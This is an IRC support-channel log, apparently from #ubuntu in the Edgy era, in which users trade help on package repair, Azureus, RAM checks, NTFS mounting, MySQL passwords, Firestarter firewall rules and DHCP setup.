[12:48] <bakert> (unless you are offended by being kissed by a bespectacled 30 year old who doesn't know better than to fuck up his apt-get thingy)
[12:48] <gdb> (meaning all of you running Ubuntu)
[12:49] <gdb> bakert: A lot of the internals of the package system are explained in it.
[12:49] <capiira> looks like noone here ver rebooted their system
[12:49] <gdb> capiira: ?
[12:49] <snail> bakert: your task is now to write up your experiance on a wiki or blog, so if someone ever stuffs up in a similar way they can google how to fix it
[12:49] <capiira> so is that normal that ubuntu need 45secs more after the loadbar becomes empty to reboot the system?
[12:49] <bakert> ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh .... that is a nice feeling.  i will check out the book.  i will say my prayers.  JUST in time for my driving lesson too.
[12:49] <gdb> I reboot my machine when a new kernel is released.
[12:49] <mneptok> bakert: i have no problem with same-sex kisses of joy, but the profanity i could do without ;)
[12:49] <gnomefreak> bakert: hint try rebooting to see if it is fixed
[12:49] <bakert> snail, check bluebones.net in the next few days.
[12:49] <dromer> how can I open a new ftp-account for a friend?
[12:49] <snail> capiira: yes
[12:49] <capiira> ah ok
[12:50] <snail> capiira: it's disk write buffered paranoia I believe
[12:50] <capiira> thx :)
[12:50] <gdb> crot: so the command was install libc6/dapper?
[12:50] <snail> capiira: it doesnt' shut down until every possible thing could be completely safe
[12:50] <crot> yeah.
[12:50] <gnomefreak> gdb: apt-get -f install
[12:50] <gdb> hrm cool
[12:50] <gdb> where did you pick up that gem?
[12:50] <dromer> !ftpd
[12:50] <ubotu> FTP clients: gftp, konqueror, kbear, nautilus. FTP servers: ftpd, proftpd, pure-ftpd, twoftpd, vsftpd
[12:50] <Lynoure> dromer: You already have a ftp server installed and running?
[12:50] <crot> I don't know.
[12:50] <capiira> then the loadbar is just a gif or something like that?
[12:50] <gdb> hehe
[12:50] <dromer> Lynoure: afaik ... not sure though :$
[12:50] <crot> I've been using Debian for like 7 years.
[12:51] <crot> or 6
[12:51] <dromer> Lynoure: on KDE too btw
[12:51] <Lynoure> dromer: if you have not installed one, you do not, they do not come preinstalled.
[12:51] <capiira> a fake loadbar
[12:51] <capiira> hehe
[12:51] <dromer> Lynoure: ok, which is a good one?
[12:51] <bakert> thanks everyone.  i will think before i start chucking the sudos around next time!  got to go learn to drive.  i promise to be more cautious than with my dpkg -i's .. thanks again brilliant!
[12:51] <gdb> I've been using "Debian" (Ubuntu) since 2 weeks before Dapper's release.  I have read a lot about it, though, and ran Debian on a sparc for a few months like 12 years ago.
[12:52] <gdb> bakert: :-D
[12:52] <kenthomson> I had some configuration problems with azureus (for instance it would quit on being started automatically and there was no way to access its interface), so i deleted the ~/.azureus file, and restarted it, now everything is OK (i got back the interface). But when i want to start downloading a torrent that is qued i would (in history) right-click the torrent and select "force start", But NOW there is no option in the right click (context menu) menu to s
[12:52] <kenthomson> elect force start. SO now my question is how do i start downloading s torrent that is qued?
[12:52] <diederick> hi all
[12:52] <deepsa> hi
[12:52] <mneptok> kenthomson: what Azureus rev are you using?
[12:52] <Lynoure> dromer: I do not have a strong opinion on that, sorry
[12:52] <kenthomson> mneptok, "rev" what is hat?
[12:52] <gdb> bakert: And remember, Ubuntu is based on a freeze of Debian unstable.  It's all sucked into Merge-O-Matic every 6 months, stabilized, has Ubuntu value-add thrown in, and then is released as Ubuntu.  It's *not* actually Debian unstable anymore after going through this process. ;-)
[12:53] <kenthomson> mneptok, i have the one in Ubuntu's repos
[12:53] <saharaab> hello i have apb with the refresh rate it's 60hz and icant increase it can u help me?
[12:53] <dromer> Lynoure: but, once I have one (say, profrpd) how do I config it ?
[12:53] <diederick> I've installed ubuntu, and I want to enable dual view. Though in my xorg.conf I can only see one monitor. Is there a way to 'detect' the monitor configuration? (such as the h/vsync?, color depth)
[12:53] <mneptok> kenthomson: ah, this may be the source of your anguish
[12:53] <stefg> kenthomson: the edgy azureus package is awfully broken.
[12:53] <gdb> I wanted to try Debian on my machine here but it won't install without a lot of annoying effort (stable, anyway).
[12:54] <gdb> And with the political situation in Debian now, I don't know *when* another release will come out.
[12:54] <sneakums> gdb: i installed with an etch netinstaller snapshot recently, it was pretty smooth
[12:54] <stefg> kenthomson: overwrite the azureus.jar in /usr/share/java with an azureus.jar from azureus.sf.net
[12:54] <mneptok> kenthomson: and you're missing a "p" in your last name ;)
[12:54] <kenthomson> mneptok, stefg, but till yesterday i was able to right-click a queed torrent and select "force-start" to start downloading it, NOW; where is the option to start downloading a queed torrent? I mean even if it is broken (it worked till yesterday!) there should be an option to start downloading a queed torrent where is it?
[12:55] <gdb> sneakums: this was sarge you installed with an etch installer?  My problem is this machine is a Dell Optiplex GX620 and sarge doesn't like the SATA controller.
[12:55] <kenthomson> mneptok, NO, thats my name, nothing missing :)
[12:55] <Lynoure> dromer: http://ubuntuguide.org/wiki/Ubuntu_Edgy#FTP_Server should get you started, combined with use of man when needed :)
[12:55] <kenthomson> stefg, is that replacing business safe?
[12:55] <sneakums> gdb: no, i installed etch with the etch installer
[12:55] <gdb> Anyway, I prefer Ubuntu, I just wanted to have a look at the current stable Debian.
[12:55] <gdb> ah
[12:55] <sneakums> well, the current stable debian is not very current alas
[12:55] <gdb> true!  but it was more current 7 months ago than it is now!
[12:55] <crot> But it is rather stable.
[12:55] <mneptok> kenthomson: i would not personally use the repo version of Azureus.
[12:55] <JKoder> Can anyone help me with S-VIDEO on Edgy ?
[12:56] <JKoder> PLease ?
[12:56] <stefg> kenthomson: yes... it's dirty from a procedural point of view, but cleaner than the junk from the edgy repo anyway
[12:56] <kenthomson> mneptok, stefg, still my question went unanswered. Where is the option to start downloading a que-ed torrent?
[12:57] <stefg> kenthomson: you ae basically asking : 'why won't a broken program not work' obvious anser, heh?
[12:57] <prasys000> guys umm i need help with my ATI AC97 Audio
[12:57] <mneptok> kenthomson: in a *mot broken version of Azureus*
[12:57] <VIMmer> hi, how do i check how much ram i have on my machine on ubuntu?
[12:57] <diederick> Is there a way to check which v/hsync I have for my monitors? (maybe using windows?)
[12:58] <prasys000> well i am using dapper 6.10 , and it works out of the box. but now all of a sudden , it has stopped working. Ubuntu shows the device is there
[12:58] <undersound> to VIMmer: use Device Manager
[12:58] <gnomefreak> diederick: google your monitor
[12:58] <kenthomson> stefg, mneptok, so i need to uninstall azureus, go to the sourceforge  website and download a new one?
[12:58] <diederick> gnomefreak: oke
[12:58] <gnomefreak> kenthomson: thats your best bet
[12:58] <stefg> kenthomson: no, leave the azureus .dep installed.
[12:59] <prasys000> so any idea
[12:59] <prasys000> how to fix the sound back
[12:59] <VIMmer> undersound, under what heading will it be?
[12:59] <gdb> prasys000: kick the speaker cord out of the back of the machine?  I'd check that first!  (I've done it before!)
[12:59] <prasys000> it was working fine before the ATI Driver installation [i think] 
[12:59] <Lynoure> dromer: But you can ask again if you run into trouble, of course
[12:59] <VIMmer> i cant find it in Device Manager
[12:59] <JKoder> any ideea about S-VIDEO ???
[12:59] <prasys000> gdb, i am on a laptop
[12:59] <stefg> kenthomson: you can use the .desktop and other conffiles from the edgy pack, just overwrite the azureus.jar
[12:59] <mneptok> kenthomson: i would uninstall, install Sun's JRE, use update-alternatives to set the Sun JRE as the default, and then grab the latest Azureus from SF
[12:59] <gdb> ah, well, i guess that's not the issue then :-/
[12:59] <prasys000> i am trying to figure it out what is causing the problem
[01:00] <undersound> system->administration=>device manager
[01:00] <gdb> update-java-alternatives -s sun-java5
[01:00] <VIMmer> undersound, i have got to the Device Manager, wat heading in tat application
[01:00] <gnomefreak> VIMmer: cat /proc/cpuinfo
[01:00] <VIMmer> ??
[01:00] <kenthomson> mneptok, stefg, gnomefreak, If it is really broken what is it doing in the "ok-tested" section of the most current release of world's most popular Linux Distro? Or does this indicate it is a time to go to SUSE? :)
[01:00] <gnomefreak> VIMmer: that commmand will give you how much ram you have
[01:00] <capiira> hmm is there a way to remove the shutdown ubuntu logo ?
[01:00] <jano_> hi.. anybody had any luck playing windows media streamed videos in ubuntu?? (mplayer plugin..)
[01:01] <gnomefreak> VIMmer: top will as well and so will htop if you install it
[01:01] <stefg> mneptok: that's the proper, but most time consuming way. It works to install the azureus-pack from the repos, just replace the bad .jar-file with a working one
[01:01] <VIMmer> gnomefreak, shud i look at the cache size?
[01:01] <crot> Have you installed the non-free codecs, jano_?
[01:01] <linuxero_> hola desde espaa!
[01:01] <mneptok> kenthomson: it was put in there for the sole purpose of forcing you to MS-Linux (SuSe)
[01:01] <gdb> free -m
[01:01] <kenthomson> mneptok, :)
[01:01] <kenthomson> mneptok, "in there", where?
[01:02] <jano_> crot, what package are they in? I installed all the stuff I found in edgy guide...
[01:02] <gnomefreak> VIMmer: its not all that accurate use top
[01:02] <JKoder> it seems i will not get any help here sadly :((
[01:02] <gnomefreak> im looking at it now
[01:02] <mneptok> stefg: AFAIK the GCJ implementation will not work with the latest Azureus
[01:02] <stefg> kenthomson: please put this question the (non-existing) ubuntu Quality assurance team... btw add a rant for OOo packages as well at
[01:02] <mneptok> stefg: QA happily ignores the Universe repo ;)
[01:03] <stefg> mneptok: do your tray icons work in gnome?
[01:03] <capiira> hmmm a way to remove only the shutdown loadbar would be cool too?!?! its not really working anyway and that annoys me..
[01:03] <VIMmer> thx gnomefreak but the thing is that i pluged in a new stick of 256 mb ram, i shud hav 512 mb, its still showing 256 only
[01:03] <gnomefreak> VIMmer: and your pc isnt beeping?
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[01:03] <VIMmer> so i dont need it to be too accurate
[01:03] <VIMmer> the comp is functioning
[01:03] <snail> gdb: remember Xenix?
[01:03] <gnomefreak> is it beeping
[01:04] <gdb> snail: Yes
[01:04] <VIMmer> i hav 2 256 cards
[01:04] <VIMmer> no it isnt beeping
[01:04] <gdb> hehe
[01:04] <mneptok> stefg: Azureus tray icon?
[01:04] <stefg> mneptok: yes
[01:04] <VIMmer> what i wil do is remove 1 ram n see how much ram the system shows
[01:04] <mneptok> stefg: yup
[01:04] <VIMmer> then i wil know if both sticks r working
[01:05] <stefg> mneptok: strange... couldn't get it to wrk, and google yielded a lots of hits with other people having the same issue
[01:05] <gnomefreak> VIMmer: cat /proc/meminfo
[01:05] <gnomefreak> oh well
[01:05] <gdb> free -m
[01:06] <mneptok> stefg: Ubuntu does what i tell it to. it knows the consequences. ;)
[01:06] <prasys000> thanks for your help anyway guys
[01:07] <prasys000> reloading the kernel modules made it possible again
[01:07] <prasys000> i need to create a link now
[01:07] <jano_> firefox is driving me nuts in xubuntu... when I press ctrl+a (which would normally select all that's in adress bar) it would only jump to the beginnig of adress bar... can I make it normal??
[01:07] <GuerrillaWon> Can someone tell me wha'ts going wrong with this? http://paste.ubuntu-nl.org/1293/plain/
[01:07] <GuerrillaWon> I have those files in the correct location so I'm not sure why I'm getting this error.
[01:07] <stefg> !flash | GuerrillaWon
[01:07] <ubotu> GuerrillaWon: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[01:08] <sneakums> jano_: sounds like the emacs key theme is enabled
[01:08] <stefg> GuerrillaWon: theres flash 9 out... don't bother with 7
[01:08] <GuerrillaWon> Yea it's a problem with nswrapper I think :/
[01:08] <stefg> !flash9 | GuerrillaWon
[01:08] <ubotu> GuerrillaWon: flash9 is available from dapper-backports and edgy-backports now, see !backports
[01:08] <GuerrillaWon> !
[01:09] <stefg> !backports
[01:09] <ubotu> If new updated Ubuntu packages are built for an application, then they go into Ubuntu Backports. See https://help.ubuntu.com/community/UbuntuBackports
[01:09] <GuerrillaWon> !backports
[01:09] <jano_> sneakums, in other programs it works normally... just firefox...
[01:09] <sneakums> jano_: strange. if you don't mind a hideous workaround, Alt-a may work as select-all.
[01:10] <jano_> sneakums, yes it works :D
[01:10] <jano_> sneakums, thanx
[01:11] <bayziders> Ok I am not sure where to ask this cause it pertains to windows and ubuntu but is there a program like grub but with a nice gui? I'm just re customizing my computer and think it would be a nice touch.
[01:11] <jano_> sneakums, oh and I just found out that the emacs keyboard was selected...
[01:12] <MatthewV> bayziders, there is a program called gfxboot which, while it only works on x86, can do that
[01:12] <stefg> bayziders: errmmm.... yu're talking of a system before it has booted, and want a GUI? for what?
[01:12] <MatthewV> bayziders, search the forums... there are some howtos and themes there
[01:13] <bayziders> MatthwU; Thanks.
[01:13] <Marupa> hey, quick question...I'm trying to play some MP3s, and they're _really_ quiet.  If I play a network stream, that's fine.  But MP3s are very quiet on any MP3 player.  Any ideas?
[01:13] <stefg> bayziders: you can pimp your grub visually, but no point'n'click before boot
[01:13] <mneptok> Marupa: whose codec?
[01:14] <Marupa> I'm currently trying the 'out of the box' xmms.
[01:14] <xerophyte> if you have so many files in a folder how can i delete it .. when  i say rm  * -f its not working is any other way i can remove them ??
[01:14] <crot> What does it say when you do that?
[01:14] <bayziders> Theres no point click grub type thing ='( ?
[01:14] <crot> are you doing that on the contents or on the directory?
[01:14] <stefg> xerophyte: man rm... you're looking for the -r switch and the wildcards
[01:15] <Marupa> none of my MP3s are loud.  Yet music streams are fine.
[01:15] <xerophyte> steelb, thx i am using this for now for x in `ls`; do rm -f $x; done but will read about it
[01:15] <mneptok> xerophyte: it' "rm -f dirname"
[01:15] <mneptok> xerophyte: you have the arguments backwards
[01:16] <Marupa> Any ideas, mneptok?
[01:16] <crot> Marupa: a hearing horn
[01:17] <mneptok> Marupa: i don't use xmms or its codecs.
[01:17] <constrictor> how do you make beagle index thunderbird mail
[01:17] <constrictor> it seems to only find evolution mail
[01:17] <HiP_P> quick question: anyway to install 6.10 over 6.06 without formatting
[01:18] <stefg> !upgrade
[01:18] <ubotu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[01:18] <igge> hello..
[01:18] <igge> how can I check what options the kernel is compiled with?
[01:19] <stefg> igge: cat /boot/config-`uname -r`
[01:19] <HiP_P> cheers stefg
[01:20] <igge> stefg: thanks!!
[01:20] <mneptok> yay! friday's done!
[01:21] <Ralph> hi
[01:21] <MatthewV> bayziders, if there is, i've never seen it
[01:22] <Ralph> i want to log in into an windows domain controller
[01:22] <MatthewV> bayziders, considering you spend >1s on that screen.. its hardly necessary, besides the fact that keyboard is much quicker
[01:22] <Ralph> i want a ubuntu client for the windows domain
[01:23] <kosmoc> Bonjour, je suis  la recherche d'un logiciel de traduction anglais-> franais sous ubuntu, a existe ?
[01:23] <stefg> !fr
[01:23] <ubotu> Allez a #ubuntu-fr ou #kubuntu-fr pour de l'aide et de la discussion en francais.
[01:23] <bayziders> but not pimping, lol. Well a gui would be nice the white on black messy worded thing is annooying
[01:23] <Ralph> so how can i transfer al the users to the ubuntu client
[01:23] <ketil> ok, so I solved my issues installing daemontools on ubuntu when inittab is missing: http://ketil.froyn.name/blog
[01:24] <Marupa> can anyone help me set up my logitech mouse to use the extra buttons?  I tried that tutorial, but it didn't work.  It said that 'evdev' wasn't a valid protocol.
[01:24] <burepe> !LAMP
[01:24] <ubotu> LAMP is an acronym for Linux-Apache-MySQL-PHP. However, the term is often used for setups using alternative but different software, such as Perl or Python instead of PHP, and Postgres instead of MySQL. For help with setting up LAMP on Ubuntu, see  https://help.ubuntu.com/community/ApacheMySQLPHP - See also the Server CD installation process (different in Edgy+)
[01:25] <jrib> Marupa: what tutorial?
[01:25] <Marupa> there's one on the ubuntu boards.
[01:25] <jrib> Marupa: there's more than one
[01:25] <Marupa> the one that was for 'MX500, etc'
[01:26] <jrib> Marupa: ok, what did you do exactly and what were the results
[01:27] <Marupa> I did exactly what the tutorial said, and it responded with the 'blue screen' with the error log, in it it said that 'evdev' wasn't a valid protocol.
[01:27] <jrib> Marupa: is xserver-xorg-input-evdev installed?
[01:27] <Marupa> yep
[01:28] <tim167> does w3m allow going to the previous page ? (< back)
[01:28] <jrib> Marupa: what version of ubuntu?
[01:28] <Marupa> 6.10
[01:28] <jrib> Marupa: what mouse do you have?
[01:28] <Marupa> MX 600
[01:29] <jrib> Marupa: k well your tutorial is outdated.  This one is for mx1000, you can translate it over https://help.ubuntu.com/community/MX1000Mouse, or search the forums.  There is a more recent tutorial.  Look for the one that sets up evdev like on the wiki for mx1000
[01:29] <tim167> if not, I'm looking for a webbrowser that is ultra light, but has some basic features like 'history', ...
[01:29] <igge> how do I download the kernel source?
[01:30] <recon> I'm trying to configure sendmail, but I cannot find anywhere to input the SMTP server, user/pass, etc. I've googled but didn't find anything.
[01:30] <jrib> igge: install the linux-source package
[01:30] <bayziders> I wish i could get this dial up modem working on ubuntu so im not stuck in windows until my new isp's modem gets here ='\
[01:30] <jrib> !dialup | bayziders
[01:30] <ubotu> bayziders: You want to connect via dial-up? Read https://wiki.ubuntu.com/DialupModemHowto
[01:31] <noobcook> has wine got a Front End?
[01:31] <recon> noobcook: for...what?
[01:31] <recon> noobcook: configuration?
[01:31] <noobcook> gui
[01:32] <noobcook> ive been trying to get wine to run my windows games but its just not happening
[01:32] <tim167> can you advise me a web browser that is -=light=- (like w3m, but a bit more features)
[01:32] <noobcook> i fear i need a gui =p
[01:32] <noobcook> tim167:  try lynx its a text browser
[01:32] <jrib> noobcook: have you checked wine's appdb for your game?
[01:32] <noobcook> jrib: i dont know how to do that
[01:32] <tim167> noobcook: thanks!
[01:32] <jrib> noobcook: go to wine's website and click on appdb
[01:33] <diederick> hi again!
[01:33] <noobcook> i thought i could just "wine appname"
[01:33] <diederick> what does the "option "DPMS" means in xorg.conf? (for screen)
[01:33] <diederick> uhh for monitor that is
[01:33] <Menasim1> 
[01:33] <bayziders> man earth link scares me they told me it takes 10 days to activate the dsl line but they didnt tell me what line >> so idk what there doing =/
[01:34] <KristianDK> Afternoon ladies
[01:34] <KristianDK> ^^
[01:36] <deepsa> someone tried having audacious mp3 status in gaim?
[01:37] <bayziders> English?
[01:37] <anubis_> Totem could not play 'mms://wm1-cm.edgestreams.net/12/bc/12bc2f49ab4c64fa4419ad7e304ef075-45467a03.asf?auth=caEbdbsbRcIa7dVdSc4dbaLbHamdfdkcfav-bfP4dl-eS-Iwi=0001'.
[01:37] <burepe> In this command which parts do I replace with my values ?mysql> SET PASSWORD FOR 'root'@'localhost' = PASSWORD('yourpassword');
[01:37] <capiira> anyone know a site that explains how to remove the boot and shutdown splash and restore the text mode? i owuld like to see what my system is doing!
[01:37] <foobar^> :-)
[01:38] <MatthewV> burepe, the 'yourpassword' and 'root' if you are setting it for something other that root
[01:38] <Tomcat_> capiira: Just remove "quiet" and "splash" from /boot/grub/menu.lst from your kernel lines
[01:38] <capiira> this will also remove the shutdown one ?
[01:38] <Tomcat_> capiira: Not absolutely sure, but I guess yes.
[01:38] <KristianDK> burepe -> replace yourpassword ;)
[01:38] <burepe> MatthewV: do I include the ' ?
[01:39] <capiira> let me try
[01:39] <MatthewV> burepe, yes you do
[01:39] <Tomcat_> capiira: You can test by using the "e" key in grub when booting... remove splash and quiet there.
[01:39] <MatthewV> so if your password was  hello
[01:39] <capiira> ahhh let me test
[01:39] <capiira> thx
[01:39] <capiira> brbr
[01:39] <amorphous_> hello again... i'm looking to change the permissions to lock people from changing the toolbar/desktop settings in xubuntu but can't seem to locate/find out the filename that sets it up... ive been searching/desktoping for a bit and am unable to find suitable search criteria to not get thousands of irrelevant desktop/toolbar pages... can anyone help?
[01:39] <MatthewV> burepe, you'd do SET PASSWORD FOR 'root'@'localhost' = PASSWORD('hello');
[01:39] <burepe> MatthewV: thanks
[01:40] <un_operateur> amorphous_, changing the toolbar and desktop settings is the user's prerogative .. why change it? :)
[01:40] <burepe> MatthewV:  I keep getting a syntax error. does localhost use ' ?
[01:41] <MatthewV> burepe, should do, let me try just a moment
[01:41] <tim167> lynx cant open google : Error, Bad Request,    Your client has issued a malformed or illegal request. how come ?
[01:41] <burepe> MatthewV: thanks
[01:42] <MatthewV> burepe, this works for me > SET PASSWORD FOR 'root'@'localhost' = PASSWORD('xxxxx');
[01:42] <MatthewV> where xxxxx is your password
[01:42] <amorphous_> un_operateur, un_operateur
[01:43] <MatthewV> burepe, sry gtg now, so i hope that works for you
[01:43] <burepe> MatthewV: thanks. not sure what I did wrong but now I know what is right. Thanks
[01:43] <un_operateur> amorphous_, yes?
[01:44] <Smotang> What is the filetype for a script that you want to run in command prompt(bash?)
[01:44] <amorphous_> un_operateur, (sorry 'bout that) - it's a few people sharing a machine that can't be logged off (it's in a cafe - behind the bar) but one is malicious & messing bout with the ettings
[01:44] <amorphous_> *settings
[01:44] <noobcook> holomorph
[01:44] <un_operateur> Smotang, err, text file?
[01:44] <Smotang> that would be .txt?
[01:44] <amorphous_> un_operateur, you know the filename?
[01:45] <Smotang> I saved it then tried to run it via doubleclick through the Xwindow filemanager (forgotten the name)
[01:45] <noobcook> anyone know how to install WineTools
[01:45] <noobcook> ?
[01:45] <Smotang> But it did not work, Any idea as to why?
[01:45] <un_operateur> amorphous_, i'm not sure about the name, but i have a feeling it's under the .xfce* directories of the user's homedir
[01:46] <amorphous_> un_operateur, thanks, i'll check it out ;)
[01:46] <Enverex> noobcook, Don't use it
[01:46] <un_operateur> Smotang, you need to have the shebang line at line #1 and the file set to executable
[01:46] <noobcook> Enverex: why?
[01:46] <Smotang> How do I set to executable?
[01:46] <Enverex> noobcook, Because it doesn't work with any "not really old" versions of Wine
[01:46] <noobcook> ah k
[01:46] <Enverex> Erm, this is odd. I've installed HPLIP through Apt-Get but HP's setup utility isn't showing up anywhere in the Gnome Apllications menu. Further more CUPS doesn't seem to notice the HP LaserJet I have attached to my Parallel port. Any ideas?
[01:46] <aldin> The following packages have unmet dependencies:
[01:46] <noobcook> well any ideas how to play warcraft thats already installed on my windows partition?
[01:47] <aldin>   gnome: Depends: gnome-office (= 1:2.14.2.1ubuntu1) but it is not going to be installed
[01:47] <un_operateur> Smotang, errm, from within the shell -- chmod u+x file  .. from within the DE .. right, click, properties ...
[01:48] <amorphous_> un_operateur, is there another xfce dir name? i have no xfce (or even close) dir. :?
[01:50] <un_operateur> amorphous_, errm not too sure, used xubuntu a long time ago .. .thunar maybe
[01:50] <amorphous_> un_operateur, is thunar not just the file browser?
[01:50] <amorphous_> un_operateur, 's ok - i'll keep banging my head at it  ;)
[01:51] <Twiztr> How do I make it so that mount /hdb1 runs everytime I log in, or turn the box on, or whatever?
[01:51] <un_operateur> amorphous_, dunno, i thought nautilus was just a file browser on ubuntu -- but apparently it's the DE too
[01:52] <un_operateur> Twiztr, add an entry into /etc/fstab .. man fstab for documentation about this
[01:52] <amorphous_> un_operateur, now there's a thing!!! something new every day!!!
[01:53] <amorphous_> un_operateur, thanks - you helped shift it along a bit - it's under xfce, but inside ~/.config :D
[01:53] <un_operateur> amorphous_, :d .. also you might get better help from the folks in #xubuntu
[01:53] <heehowww> anyone can help me install a sis graphic?
[01:54] <jrib> how can I block connections to a port in firestarter?  It only seems to allow me to "allow" on certain ports.
[01:54] <jrib> never mind, was looking at inbound instead of outbound
[01:55] <Twiztr> I already have an entry for it "/dev/hdb1 /mnt/hdb1 ntfs noauto,users,exec,ro,umask=0222 0 0" so when I run mount it mnts as the right drive, but I still have to manually type the mount command when I log in.
[01:55] <noobcook> jrib does ubuntu  have a program that can load .mdf and .mds to a fake moint point? a bit like daemon tools?
[01:56] <jrib> hmm, no I do want inbound.  So, if anyone knows how to block certain ports in firestarter, I'm still interested
[01:56] <un_operateur> Twiztr, if /mnt/hdb1 exists .. then you shouldn't have to manually mount the drive
[01:56] <capiira> hmmmm by removing quiet and splash i found out that 17179648.72000 makes my system need 45sec to shutdown :/
[01:57] <capiira> is there a way to find out why?
[01:57] <jrib> noobcook: http://www.google.com/search?hl=en&q=ubuntu%20mdf%20mds
[01:57] <noobcook> ty
[01:57] <un_operateur> jrib, i think it depends on the mode you use in firestarter -- permissive-to-restrictive or the other way around -- in the permissive-to-restrictive mode (if thats what it is indeed called) .. the default policy is to block all ports unless you explicitly set a rule
[01:58] <capiira> the last line before the 45sec pause was "171796.48.720000 Restarting System"
[01:58] <Twiztr> Whats a site I can copy code too? like codebin or something?
[01:58] <capiira> other distros dont need that long
[01:58] <jrib> un_operateur: it seems to give me that option for outbound, but for inbound I can't find it.  Is it hidden away somewhere that you know of?
[01:58] <MatthewV> !pastebin > Twiztr
[01:59] <Twiztr> Ok, thnaks
[01:59] <un_operateur> jrib, ahh, no, thats a limitation of firestarter (as far as i am aware) .. it seems to be the classic home user's firewall management utility quite useless otherwise
[02:00] <un_operateur> jrib, i remember wanting to open up ports on firestarter .. couldnt find out how to do it
[02:01] <heehowww> anyone can help me install a sis 741 graphic?
[02:01] <jrib> un_operateur: that would be find if it did block everything by default.  But I am running zope and it seems accessible to everyone, oh well, off to learn iptables.  Thanks for confirming
[02:01] <Twiztr> http://paste.ubuntu-nl.org/1295/ Theres my /etc/fstab file...
[02:01] <Twiztr> Do I need to add something for /dev/hdb1 mnts right?
[02:02] <un_operateur> jrib, i think you might taken the restrictive-to-permissive mode where the default policy is to allow all connections .. and yea, manually doing the iptables is a better way to go
[02:02] <Twiztr> actually... the command I have to use to access is 'mount /mnt/hdb1;'
[02:03] <un_operateur> Twiztr, ahh ntfs drive -- please use !ntfs-3g
[02:03] <un_operateur> !ntfs-3g | Twinxor
[02:03] <ubotu> Twinxor: ntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but is still BETA software, so use it with caution. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)
[02:04] <un_operateur> oops .. sorry Twinxor .. meant that for Twiztr
[02:05] <un_operateur> Twiztr, also, remove these entries in fstab before going ahead to use ntfs-3g .. they'll confuse mount otherwise
[02:07] <un_operateur> jrib, hmmm, actually, i just installed !firestarter to check this out -- it depends on the policy you edit -- inbound or outbound .. check under the 'policy' tab, there's a drop down menu for  'editing' that allows you to edit either/or
[02:09] <jrib> un_operateur: right, it does let be do restrictive-by-default for outbound.  But when I switch over to inbound (which is what I want to configure), there is not way to change it to restrictive-by-default or permissive-by-default.  So I can only add ports to allow.  If firestarter doesn't block a port by default, then i can't block it
[02:09] <jrib> s/be/me
[02:10] <edgy> Hi, If I installed a dhcp server in two pc's and now connected a third one to them, how can I specify which dchp server to lease an ip from?
[02:11] <un_operateur> jrib, errm, i vaguely remember something like it from an earlier version -- i can't find it either -- but i'm quite positive that it ensures that the default policy is to drop traffic .. you can verify this with  sudo iptables -L
[02:11] <vlt> edgy: You can list the MAC addresses in dhcpd.conf (on the server)
[02:11] <cokeslut> sup
[02:12] <edgy> vlt: if I haven't done so which one would be chosen by default?
[02:12] <diederick> hi all
[02:12] <un_operateur> edgy, is this a case where you have multiple DHCP servers?
[02:12] <diederick> I'm trying to fix my dualview for my gforce 7600GT, with this: http://paste-it.net/931  but its not working.. can someone help me  a bit?
[02:13] <un_operateur> edgy, i read again ... why not just disable the DHCP server on either one of the machines to make you happy
[02:13] <Jowi> edgy, the first dhcp server to respond to the request from the client is the one that the client get the address from. unless you can filter the computers by MAC address and give them a "static" address I guess.
[02:14] <mneptok> edgy: 2 competing DHCP servers on a subnet is a Bad Idea(tm)
[02:14] <Jowi> edgy better to disable one of the dhcp servers
[02:14] <un_operateur> mneptok, not really .. 2 or more DHCP server on the same subnet makes for good redundancy incase one fails
[02:15] <jrib> un_operateur: http://paste.ubuntu-nl.org/1296/  is line 15 telling me the rule is invalid or is that just some rule syntax?
[02:15] <mneptok> un_operateur: a better idea is a fault-tolerant DHCP server on a UPS
[02:16] <un_operateur> jrib, looks like the same on line #38  .. i think it's an option to say, drop all packets which appear to be INVALID
[02:17] <jrib> un_operateur: ok thanks
[02:17] <un_operateur> mneptok, errm, no, a better idea is to have all DHCP servers operational at the same time but sharing information between each other via LDAP or some other database
[02:18] <diederick> does someone here knows how to setup TwinView?
[02:19] <Twiztr> So
[02:19] <Twiztr> ntfs-3g /dev/hdb1 /mnt/d -o silent,umask=0,locale=en_US.utf8
[02:19] <Twiztr> ntfs-3g /dev/hda1 /mnt/c -o silent,umask=0,locale=en_US.utf8
[02:19] <Twiztr> added to my fstab shoud work
[02:19] <un_operateur> Twiztr, this is how mine is set -- /dev/sda1       /media/usb0     ntfs-3g    silent,umask=0,locale=en_GB  0  0
[02:20] <un_operateur> Twiztr, in your case it would be -- /hdb/hdb1       /mnt/hdb1     ntfs-3g    silent,umask=0,locale=en_US.utf8  0  0
[02:20] <deepsa> Bus 003 Device 002: ID 1110:9022 Analog Devices Canada, Ltd (Allied Telesyn)
[02:20] <un_operateur> oops .. make that /dev/hdb1
[02:21] <deepsa> i wanna communicate with this device (router) ^ ^
[02:21] <deepsa> how i do that in ubuntu edgy
[02:21] <un_operateur> deepsa, that device is a router?
[02:21] <noobcook> whats the site for gnome themes again
[02:21] <noobcook> !gnome
[02:21] <ubotu> gnome is a project that provides two things: The GNOME desktop environment, an intuitive and attractive desktop for end-users, users, and the GNOME development platform, an extensive framework for building applications that integrate into the rest of the desktop.
[02:21] <deepsa> ya
[02:21] <un_operateur> noobcook, gnome-look.org i think
[02:22] <Jowi> noobcook, art.gnome.org also work
[02:22] <noobcook> k
[02:22] <un_operateur> deepsa, errm, usually you communicate with a router via ethernet and tcp/ip .. what command is giving you that output?
[02:22] <deepsa> lsusb
[02:23] <un_operateur> deepsa, sounds like a USB modem then ... not a router .. what make and model is it?
[02:23] <Jowi> deep, you're sure it is not only an adsl modem?
[02:23] <deepsa> oh ya its adsl modem
[02:23] <un_operateur> deepsa, stop calling it a router then :p
[02:23] <deepsa> :d
[02:24] <un_operateur> deepsa, what make and model #?
[02:24] <deepsa> idk
[02:24] <Jowi> deepsa, try "sudo pppoeconf" and see if it get automatically detected
[02:24] <deepsa> k
[02:25] <deepsa> it said 2 ethernet device found no usb device listed there
[02:26] <Twiztr> Can I watch WinMediaPlayer plugin videos on websites with Firefox, or Konquorer or something?
